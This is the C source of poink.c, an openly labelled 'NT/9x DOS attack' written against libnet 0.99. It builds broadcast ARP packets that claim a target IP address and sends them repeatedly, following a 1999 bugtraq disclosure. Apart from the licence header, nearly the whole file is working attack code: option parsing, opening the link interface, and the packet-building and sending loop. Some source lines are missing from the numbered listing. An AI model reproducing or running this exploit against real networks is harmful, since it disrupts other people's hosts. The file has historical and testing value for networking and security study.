2 * $Id: poink.c,v 1.1.1.1 2000/05/25 00:28:49 route Exp $
4 * poink.c - NT/9x DOS attack
7 * Copyright (c) 1999, 2000 Mike D. Schiffman <mike@infonexus.com>
11 * Joel Jacobson (joel@mobila.cx)
13 * This simple exploit was written as per the specification from Joel
14 * Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
16 * Needs libnet 0.99. http://www.packetfactory.net/
18 * Redistribution and use in source and binary forms, with or without
19 * modification, are permitted provided that the following conditions
21 * 1. Redistributions of source code must retain the above copyright
22 * notice, this list of conditions and the following disclaimer.
23 * 2. Redistributions in binary form must reproduce the above copyright
24 * notice, this list of conditions and the following disclaimer in the
25 * documentation and/or other materials provided with the distribution.
27 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
28 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
29 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
30 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
31 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
32 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
33 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
34 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
35 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
36 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
42 #include "../../include/config.h"
44 #include "../libnet_test.h"
46 u_char e_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
47 u_char e_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
49 int poink_send_arp(struct libnet_link_int *, u_long, u_char *);
53 main(int argc, char *argv[])
58 struct libnet_link_int *l;
62 while ((c = getopt(argc, argv, "n:i:")) != EOF)
70 amount = atoi(optarg);
88 else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
90 fprintf(stderr, "Cannot resolve IP address\n");
94 l = libnet_open_link_interface(device, errbuf);
97 fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
103 c = poink_send_arp(l, ip, device);
106 /* bail on the first error */
111 return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
116 poink_send_arp(struct libnet_link_int *l, u_long ip, u_char *device)
121 if (libnet_init_packet(LIBNET_ARP_H + LIBNET_ETH_H, &buf) == -1)
123 perror("libnet_init_packet memory:");
130 libnet_build_ethernet(e_dst, e_src, ETHERTYPE_ARP, NULL, 0, buf);
135 libnet_build_arp(ARPHRD_ETHER,
148 n = libnet_write_link_layer(l, device, buf, LIBNET_ARP_H + LIBNET_ETH_H);
150 fprintf(stderr, ".");
152 libnet_destroy_packet(&buf);
160 fprintf(stderr, "%s -i interface [-n amount] ip\n", name);